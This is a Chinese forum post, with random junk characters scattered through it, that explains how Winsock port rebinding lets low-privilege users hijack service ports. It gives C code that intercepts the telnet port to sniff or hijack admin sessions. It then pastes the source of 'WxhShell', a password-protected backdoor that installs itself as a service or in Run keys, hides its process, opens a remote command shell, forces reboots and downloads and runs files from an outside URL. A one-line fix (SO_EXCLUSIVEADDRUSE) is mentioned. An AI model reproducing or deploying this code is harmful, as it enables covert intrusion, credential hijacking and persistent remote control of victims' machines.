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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~|+ ~/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gNCS*a  
2aYBcPFQh#  
  saddr.sin_family = AF_INET; ot}erC2~  
mku@n;Hl_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v;]rFc#Px[  
$mQ0w~:@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); up5f]:!  
A=<7*E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PgkU~68`  
Ob$``31{s  
  这意味着什么?意味着可以进行如下的攻击: w(oK   
WNyW1?"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [}L~zn6>?a  
HRf;bKZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FNQ<k[#K'~  
,2FK$: M\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gm9*z.S\'  
n~^SwOt~;5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &A0OYV3i.  
x92^0cMf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y]h0c<NP  
!..<_qfw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :K| H/kht  
'PF>#X''  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pD<w@2K  
$.`o  
  #include ER"69zQg|2  
  #include ofy"SM  
  #include CWdsOS=  
  #include    T fLqxioqZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J"r?F0  
  int main() (D>_O$o  
  { V^_A{\GK  
  WORD wVersionRequested; X*2W4udF  
  DWORD ret; tV)CDA&Z  
  WSADATA wsaData; f[o~d`z  
  BOOL val; ',EI[ ]+  
  SOCKADDR_IN saddr; %Ig$:I(o  
  SOCKADDR_IN scaddr; ]oGd,v X  
  int err; <`nShP>vl  
  SOCKET s; v=llg ^  
  SOCKET sc; ~o'1PAW7  
  int caddsize; x UdF.c  
  HANDLE mt;  YSD G!  
  DWORD tid;   y7HFmGM  
  wVersionRequested = MAKEWORD( 2, 2 ); x%mRDm~-  
  err = WSAStartup( wVersionRequested, &wsaData ); ~gI%lORqN  
  if ( err != 0 ) { NEq_!!/sF  
  printf("error!WSAStartup failed!\n"); h^3gYL7O6  
  return -1; '<Zm>L&  
  } h:4(Gm;  
  saddr.sin_family = AF_INET; }* :3]  
   j`_S%E%X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @A,8 >0+  
sfXFh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o~LJ+m6-)  
  saddr.sin_port = htons(23); ]_s3<&R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]1 f^ SxSI  
  { f+Y4~k  
  printf("error!socket failed!\n"); D3Q+K  
  return -1; JxVGzb`8  
  } (| QJ[@?q  
  val = TRUE; !Tnjha*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }1#m+ (;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hv;xaT<}V  
  { x3O%W?5  
  printf("error!setsockopt failed!\n"); CNNqS^ct  
  return -1; [> HKRVy  
  } ('&lAn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bn*:Bn1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gVG^R02#<k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -`L`kL<  
l(>6Yq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a{8a[z  
  { Olzw)WjG  
  ret=GetLastError(); 'va[)~!  
  printf("error!bind failed!\n"); f{9+,z   
  return -1; xFu ,e  
  } 0z=KnQx"4  
  listen(s,2); tJ(xeb  
  while(1) owNwj  
  { k(ouE|B  
  caddsize = sizeof(scaddr); ^>|ZN2  
  //接受连接请求 (5$Ge$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z ]A |"6<  
  if(sc!=INVALID_SOCKET) tc~gn!"  
  { RC_Pj)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SAm%$v z%M  
  if(mt==NULL) "c%wq 0  
  { #cY[c1cNv  
  printf("Thread Creat Failed!\n"); I!/32* s1t  
  break; Ca |}i+  
  } mb*Yw 6q  
  } s#$t!F??9  
  CloseHandle(mt); {it.F4.  
  } D6ZHvY8R  
  closesocket(s); MdBmq/[O  
  WSACleanup(); VzG|Xtco [  
  return 0; 6P{bUom?  
  }   ucl001EK  
  DWORD WINAPI ClientThread(LPVOID lpParam) v H HgZ  
  { m H:Un{,  
  SOCKET ss = (SOCKET)lpParam; S1=P-Ao  
  SOCKET sc; WuK<?1meN  
  unsigned char buf[4096]; 4?pb!@l  
  SOCKADDR_IN saddr; !S?Fz]  
  long num; W|< c[S  
  DWORD val; kff N0(MR  
  DWORD ret; ILuQ.VhBVN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y}[<KK}_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h8V*$  
  saddr.sin_family = AF_INET; S}C[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?+}Su'pv}  
  saddr.sin_port = htons(23); <)d%c%f'`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p[4 +`8  
  { Tg)F.):  
  printf("error!socket failed!\n"); j~'.XD={  
  return -1; Zfs-M)  
  } $:u*)&"t|  
  val = 100; !*l/Pr^8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a8xvK;`  
  { }+j B5z'w  
  ret = GetLastError(); !gI0"p?  
  return -1; ?e9tnk3  
  } D5"5`w=C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]t<=a6 <P  
  { 5 3pW:`  
  ret = GetLastError(); \]>821r  
  return -1; 4 QQt 0u0  
  } S$b)X"h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sm18u-  
  { -aT-<+?s  
  printf("error!socket connect failed!\n"); 1V,@uY)s  
  closesocket(sc); |k~AGc  
  closesocket(ss); ,X/j6\VBO  
  return -1; |-JG _i  
  } C-edQWbcP  
  while(1) ]{=y8]7  
  { * o1US  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iZTU]+z!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "nr?WcA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F,vkk{Z>  
  num = recv(ss,buf,4096,0); `GE8?UO-  
  if(num>0) { {?-& yA  
  send(sc,buf,num,0); &/m^}x/_W  
  else if(num==0) ~Jf(M ^E  
  break; JOuy_n  
  num = recv(sc,buf,4096,0); 0$Tb5+H5  
  if(num>0) ,LZA\XC  
  send(ss,buf,num,0); M? 8sy  
  else if(num==0) @Yt394gA%\  
  break; .?:#<=1  
  } (?A c`H  
  closesocket(ss); ((Av3{05H&  
  closesocket(sc); 5H Cw%n9  
  return 0 ; Dt!KgI3  
  } [+FiD  
aMu6{u6  
pku\)  
========================================================== V|A)f@ Fs  
Gt{%O>P8t  
下边附上一个代码,,WXhSHELL ~5Fx[q  
io\t>_  
========================================================== PM!JjMeQh  
2aTq?ZR|8A  
#include "stdafx.h" 8nZ_.  
,#N}Ni:  
#include <stdio.h> ~;6^n  
#include <string.h> XRV~yBIS  
#include <windows.h> ,fiV xnQ  
#include <winsock2.h> qJ5b;=  
#include <winsvc.h> ?o)?N8U  
#include <urlmon.h> uj)vh  
Iep_,o.Sk  
#pragma comment (lib, "Ws2_32.lib") DN%JT[7  
#pragma comment (lib, "urlmon.lib") aAqM)T83  
}#tbK 2[  
#define MAX_USER   100 // 最大客户端连接数 dB~A4pZa  
#define BUF_SOCK   200 // sock buffer ;^JMX4[  
#define KEY_BUFF   255 // 输入 buffer 3\ ]j4*i!  
k@9hth2Q  
#define REBOOT     0   // 重启 A1;'S<a  
#define SHUTDOWN   1   // 关机 7%$3`4i`O  
<FR!x#!   
#define DEF_PORT   5000 // 监听端口 qYoU\y7  
7*K2zu3  
#define REG_LEN     16   // 注册表键长度 ,2U  
#define SVC_LEN     80   // NT服务名长度 W)Mz1v #s  
=,6X_m  
// 从dll定义API },X.a@:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^d# AU7V|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Uo9@Y{<B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ o<O I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [g`4$_9S  
%<+Ku11  
// wxhshell配置信息 oR%cG"y  
struct WSCFG { HoX={^aG%  
  int ws_port;         // 监听端口 S -,$ (  
  char ws_passstr[REG_LEN]; // 口令 f/z]kfgw  
  int ws_autoins;       // 安装标记, 1=yes 0=no >mtwXmI  
  char ws_regname[REG_LEN]; // 注册表键名 Zqf ovG  
  char ws_svcname[REG_LEN]; // 服务名 F<iV;+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9s!R_R&W.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;d fIzi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \PZ;y=]p}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e34g=]"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pub?%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D'%M#S0   
Y_C6*T%  
}; ^N^s|c'  
)l(DtU!E  
// default Wxhshell configuration NZG ^B/  
struct WSCFG wscfg={DEF_PORT, |F\fdB}?S:  
    "xuhuanlingzhe", U:@tdH+A7  
    1, jT]R"U/Q  
    "Wxhshell", ?N9Z;_&^.  
    "Wxhshell", B^]Gv7-  
            "WxhShell Service", 'xG{q+jj'  
    "Wrsky Windows CmdShell Service", Pxkh;:agD  
    "Please Input Your Password: ", 4K HIUW$  
  1, v.sjWF  
  "http://www.wrsky.com/wxhshell.exe", <3ep5`1   
  "Wxhshell.exe" I d8MXdV  
    }; w87$p821  
H}&JrT95  
// 消息定义模块 Mcz;`h|EW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kZ6:= l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iZ/iMDfC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |}8SjZcQW  
char *msg_ws_ext="\n\rExit."; BbCW3!(  
char *msg_ws_end="\n\rQuit.";  jrS$!cEo  
char *msg_ws_boot="\n\rReboot..."; sUQ Q/F6  
char *msg_ws_poff="\n\rShutdown..."; ,* \s  
char *msg_ws_down="\n\rSave to "; T tWzjt  
o:*$G~. k  
char *msg_ws_err="\n\rErr!"; V@y&n1?6  
char *msg_ws_ok="\n\rOK!"; (+xT5 2  
mBB"e"o  
char ExeFile[MAX_PATH]; ;*+H&  
int nUser = 0; !M)] 1Y  
HANDLE handles[MAX_USER]; uT=5zu  
int OsIsNt; *aFh*-Sj2I  
(["V( $  
SERVICE_STATUS       serviceStatus; oO7)7$|1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ang~_Ec.  
NYKYj`K  
// 函数声明 ;gAL_/_  
int Install(void); B7Zi|-F  
int Uninstall(void); +~:OUR*>  
int DownloadFile(char *sURL, SOCKET wsh); CRiqY_gBf  
int Boot(int flag); e\-,e+  
void HideProc(void); K:VZ#U(_  
int GetOsVer(void); B>S>t5$  
int Wxhshell(SOCKET wsl); CQmozh-  
void TalkWithClient(void *cs); WuI$   
int CmdShell(SOCKET sock); A5\ Hq  
int StartFromService(void); xh#pw2v7V  
int StartWxhshell(LPSTR lpCmdLine); p/l">d]+  
p)z#%BY56  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WlW%z(RC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7 _"G@h  
)_>'D4l ?  
// 数据结构和表定义 b>#=7;  
SERVICE_TABLE_ENTRY DispatchTable[] = ZP@NV|B  
{ De{ZQg)  
{wscfg.ws_svcname, NTServiceMain}, C7AD1rl  
{NULL, NULL} {61Y;  
};  8 }AWU  
=HV${+K=~  
// 自我安装 0`v-pL0|  
int Install(void) #Jp|Cb<qx  
{ n{{"+;oR  
  char svExeFile[MAX_PATH]; r XBC M  
  HKEY key; JrX. f  
  strcpy(svExeFile,ExeFile); A@:U|)+4  
Nq6; z)$  
// 如果是win9x系统,修改注册表设为自启动 !&.-{ _$  
if(!OsIsNt) { i6P$>8jBQ-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e^x%d[sU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '.gi@Sr5  
  RegCloseKey(key); pp{p4Z   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V[Sj+&e&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a2]ZYY`R7  
  RegCloseKey(key); %] :ZAmN  
  return 0; _7qa~7?f  
    } RE D@|[Qh  
  } H4T~Kv  
} #, 1)@[  
else { <u],R.S)  
Bva2f:)K|  
// 如果是NT以上系统,安装为系统服务 sO(4F8cpU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VfDa>zV3  
if (schSCManager!=0) zMO#CZ t  
{ ;|$oz{Ll  
  SC_HANDLE schService = CreateService qUn+1.[%  
  ( .LnknjC  
  schSCManager, 5:5d=7WX  
  wscfg.ws_svcname, <Ter\o5%  
  wscfg.ws_svcdisp, i]4nYYS  
  SERVICE_ALL_ACCESS, ~J5B?@2hK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C(z 'oi:f  
  SERVICE_AUTO_START, ?<\2}1  
  SERVICE_ERROR_NORMAL, g>gf-2%Uo  
  svExeFile, O(e!Vx{t!  
  NULL, M)Z!W3  
  NULL, x;/dSfv_  
  NULL, >Y+m54EE  
  NULL, gNDMJ^`  
  NULL t. (6tL]  
  ); =8rNOi  
  if (schService!=0) {9Ok^O  
  { Mc(|+S@w'  
  CloseServiceHandle(schService); PRFl%M.H`  
  CloseServiceHandle(schSCManager); wuk\__f4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BJ'pe[Xa5  
  strcat(svExeFile,wscfg.ws_svcname); Y%|dM/a`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [7LdTY"Tl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D,lY_6=  
  RegCloseKey(key); 5Fj9.K~k  
  return 0; Dbq/t^  
    } 2|WM?V&  
  } fU$_5v4  
  CloseServiceHandle(schSCManager); G+k wG)K  
} vfXNN F  
} c6h+8QS  
R9"}-A  
return 1; ]$s b<o .a  
} rKT.~ZP\  
">20`Mj8  
// 自我卸载 3u+i  
int Uninstall(void) EAxdF u  
{ WB<MU:.Vc  
  HKEY key; gf9U<J#&C  
S;D]ym  
if(!OsIsNt) { bGy|T*@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @de0)AJG6  
  RegDeleteValue(key,wscfg.ws_regname); 9 HlWoHuC  
  RegCloseKey(key); a'n17d&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d+ZXi'  
  RegDeleteValue(key,wscfg.ws_regname); ?_p!teb  
  RegCloseKey(key); xdz 6[8 d8  
  return 0; l%?4L/J)#  
  }  ylS6D  
} guf*>qNr  
} )^"V}z t  
else { K)+]as  
~t$ng l$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {{>,c}O /  
if (schSCManager!=0) /eXiWasQ  
{ WSv%Rxr8L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,`k6 @4  
  if (schService!=0) /(u? k%Q  
  { =K|#5p`  
  if(DeleteService(schService)!=0) { ]l+<-  
  CloseServiceHandle(schService); n\<7`,  
  CloseServiceHandle(schSCManager); +uTl Lu;MT  
  return 0; )l! `k  
  } >Bdh`Ot-!  
  CloseServiceHandle(schService); HD2C^V2@M  
  } 2Qh)/=8lM  
  CloseServiceHandle(schSCManager); T\= #y  
} Zs-lN*u7.  
} (\r^ 0>H  
/0fHkj/J=B  
return 1; L%<]gJtrO  
} !y>up+cRjl  
4i }nk T  
// 从指定url下载文件 q4G$I?4  
int DownloadFile(char *sURL, SOCKET wsh) XZ3fWcw[  
{ 6%:~.ZfN  
  HRESULT hr; ?$uF(>LD  
char seps[]= "/"; aSxDfYN=R  
char *token; R?/xH=u>  
char *file; ?~.:C'  
char myURL[MAX_PATH]; cR,'aX  
char myFILE[MAX_PATH];  2+S+Y%~  
7'Hh^0<  
strcpy(myURL,sURL); #b:YY^{g_  
  token=strtok(myURL,seps); gu~R4 @3  
  while(token!=NULL) B.;@i;7L  
  { }aI>dHL  
    file=token; P/^@t+KC  
  token=strtok(NULL,seps); 6BEpnw>p(  
  } R$A%Zh6  
bmi",UZ:F  
GetCurrentDirectory(MAX_PATH,myFILE); yHlQKI  
strcat(myFILE, "\\"); 7 b(  
strcat(myFILE, file); :F#^Q%-IS  
  send(wsh,myFILE,strlen(myFILE),0); v^F00@2I  
send(wsh,"...",3,0); )R?uzX^qf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s,!vBSn8  
  if(hr==S_OK) UUZm]G+  
return 0; ?D_iib7  
else o:"(\$  
return 1; }bdoJ5  
9V&+xbR&  
} }|N88PN  
|%fNLUJ)  
// 系统电源模块 *A8Et5HAv  
int Boot(int flag) l{ql'm  
{  98^7pa  
  HANDLE hToken; @]8flb )T  
  TOKEN_PRIVILEGES tkp; BA@M>j6d  
*:"60fkoU  
  if(OsIsNt) { e 8oAGh"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /0Qo(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *O@Zn  
    tkp.PrivilegeCount = 1; !b4AeiL>w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ ,;h!vB*=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wq!9wk9  
if(flag==REBOOT) { $sg-P|Wo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YWDgRb  
  return 0; j8bA"r1  
} + ZiYl[_|  
else { m .(\u?J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1OMaY5F  
  return 0; N#)Klq87z  
} 3O1Lv2)_  
  } 2EN}"Du]mj  
  else { {hN<Ot  
if(flag==REBOOT) { NZADHO@0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .f. tPm  
  return 0; nN@ Ch  
} E_[a|N"D  
else { z8%qCq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {D(l#;,iX2  
  return 0; Qt_KUtD  
} ad47 42  
} Tz.okCo]z  
j)@{_tv6;  
return 1; ;;XY&J  
} bwP@}(K  
[cZ/)tm  
// win9x进程隐藏模块 2J$vX(  
void HideProc(void) BhbfPQ  
{ tlg}"lY  
u2$.EM/iae  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uTPAf^|  
  if ( hKernel != NULL ) k\*?<g  
  { n5BD0q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t0v >J9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7r)]9_[(  
    FreeLibrary(hKernel); !O}e)t  
  } 8y_(Iu|:  
c9Cc%EK  
return; xx7&y !_  
} k$8Zg*)  
NG:4Q.G1g  
// 获取操作系统版本 02%~HBS  
int GetOsVer(void)  iycceZ  
{ OT=1doDp  
  OSVERSIONINFO winfo; ?MmQ'1N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )p>p3b g  
  GetVersionEx(&winfo); u>agVB4\F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @p^EXc*|  
  return 1; q _K@KB  
  else QJiH^KY6  
  return 0; x5pu+-h  
} :V#xrH8R  
omy3<6  
// 客户端句柄模块 iyr8*L\  
int Wxhshell(SOCKET wsl) 99By.+~pX  
{ O0`ofFN  
  SOCKET wsh; u;1[_~  
  struct sockaddr_in client; _1Ne+"V  
  DWORD myID; M2d&7>N  
qTwl\dcncC  
  while(nUser<MAX_USER) n@"<NKzh  
{ {}iS5[H]  
  int nSize=sizeof(client); u8|CeA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '73}{" '  
  if(wsh==INVALID_SOCKET) return 1; t]]Ig  
0:4>rYBC   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _K'Y`w']  
if(handles[nUser]==0) p}/D{|xO  
  closesocket(wsh); D8 PC;@m  
else L\c3D|  
  nUser++; mJ5%+.V  
  } Iw( wT_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Knb(MI6  
b2[U3)|oO  
  return 0; OkISR j'!U  
} IuAu_`,Ndi  
P ecZuv  
// 关闭 socket UGgo;e  
void CloseIt(SOCKET wsh) KC2Z@  
{ fz|_c*&64  
closesocket(wsh); fGs\R]  
nUser--; H_x} -  
ExitThread(0); V:P]Ved  
} |S@  
#8M^;4N >[  
// 客户端请求句柄 Z(R0IW  
void TalkWithClient(void *cs) _nxu8g]  
{ C0Fd<|[  
QkHG`yW  
  SOCKET wsh=(SOCKET)cs; %_B2/~  
  char pwd[SVC_LEN]; Jc]66   
  char cmd[KEY_BUFF]; LN<rBF[_:f  
char chr[1]; @W$ha y  
int i,j; ~7g$T Ae{  
8Exky^OT|  
  while (nUser < MAX_USER) { F9% +7Op^  
xSlgq|8  
if(wscfg.ws_passstr) { 2|B@s3a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8<C@I/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $9X?LGUz  
  //ZeroMemory(pwd,KEY_BUFF); S<'_{uz  
      i=0; Q2woCx B  
  while(i<SVC_LEN) { Lpkx$QZ  
$XMpC{  
  // 设置超时 FU .%td=:  
  fd_set FdRead;  QV\a f  
  struct timeval TimeOut; 6o9&FU  
  FD_ZERO(&FdRead); R;A8y  
  FD_SET(wsh,&FdRead); ?P>4H0@I+  
  TimeOut.tv_sec=8; cVO- iPK  
  TimeOut.tv_usec=0; [cznhIvyO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K{@xZ)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0_+ & [g}  
}-XZ1qr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cwtlOg  
  pwd=chr[0]; whP5 u/857  
  if(chr[0]==0xd || chr[0]==0xa) { B <qsa QG  
  pwd=0; L{)t(H>O  
  break; 1x\k:2U  
  } 98?O[=  
  i++; =ePX^J*M'  
    } N1.1  
Lz-|M?(  
  // 如果是非法用户,关闭 socket !hS)W7!ik  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OU#p^ 5K  
} 94t`&jZ&|u  
5=<KA   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~$j;@ 4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n|DMj[uT  
T9]0/>  
while(1) { x FM^-`7  
GJ2ZK=/  
  ZeroMemory(cmd,KEY_BUFF); /'_<~A  
(pP.*`JRv  
      // 自动支持客户端 telnet标准   _JTK$ \  
  j=0; g"Ueo'd*  
  while(j<KEY_BUFF) { c$BH`" <*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HJym|G>%?  
  cmd[j]=chr[0]; BtKor6ba  
  if(chr[0]==0xa || chr[0]==0xd) { ;PU'"MeB "  
  cmd[j]=0; _FcTY5."S  
  break; UHU ,zgM  
  } aot2F60J,  
  j++; @V5i  
    } @H~oOf  
`"yxmo*0  
  // 下载文件 9^?muP<A  
  if(strstr(cmd,"http://")) { soQ[Zg4}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O`GF |  
  if(DownloadFile(cmd,wsh)) j;z7T;!i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yJ0 %6],^g  
  else B)L0hi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'r\RN\PT  
  } I^u~r.  
  else { Kr1Y3[iNv  
9rT^rTV  
    switch(cmd[0]) { 6vps`k$,~  
  2e-bt@0t  
  // 帮助 BOcD?rrZ0  
  case '?': { -KfK~P3PF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4e AMb  
    break; >b=."i  
  } 5k Q@]n:<k  
  // 安装 yqL"YD  
  case 'i': { kTI5CoXzq  
    if(Install()) Q 3^h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S^p^) fAmF  
    else C8T0=o/-`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p8@&(+z  
    break; J` gG`?  
    } V rx,'/IS8  
  // 卸载 (y&sUc9  
  case 'r': { B9$f y).Gp  
    if(Uninstall()) 'kY/=*=Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zF>;7'\x  
    else B]()  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #>,E"-]f  
    break; 6aHD?a o  
    } +/RR!vG,  
  // 显示 wxhshell 所在路径 tK/,U =+  
  case 'p': { /je $+  
    char svExeFile[MAX_PATH]; Rf>)#hn%  
    strcpy(svExeFile,"\n\r"); 2fu<s^9dh  
      strcat(svExeFile,ExeFile); :b %2qBv  
        send(wsh,svExeFile,strlen(svExeFile),0); $0 vT_  
    break; xf,A<j (o  
    } Cc%{e9e*  
  // 重启 @H4]Gp ]  
  case 'b': { fsw[ R0B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {I $iD  
    if(Boot(REBOOT)) hwL`9.w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z2})n -  
    else { [XDV-6KCE.  
    closesocket(wsh); ">3t+A  
    ExitThread(0); 1i~q~ O,  
    } G7v<Q,s  
    break; iDl#foXa`  
    } oPni4^g i  
  // 关机 zaLPPm&f  
  case 'd': { }+pwSjsno  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D& o\q68W  
    if(Boot(SHUTDOWN)) s2|.LmC3|B  
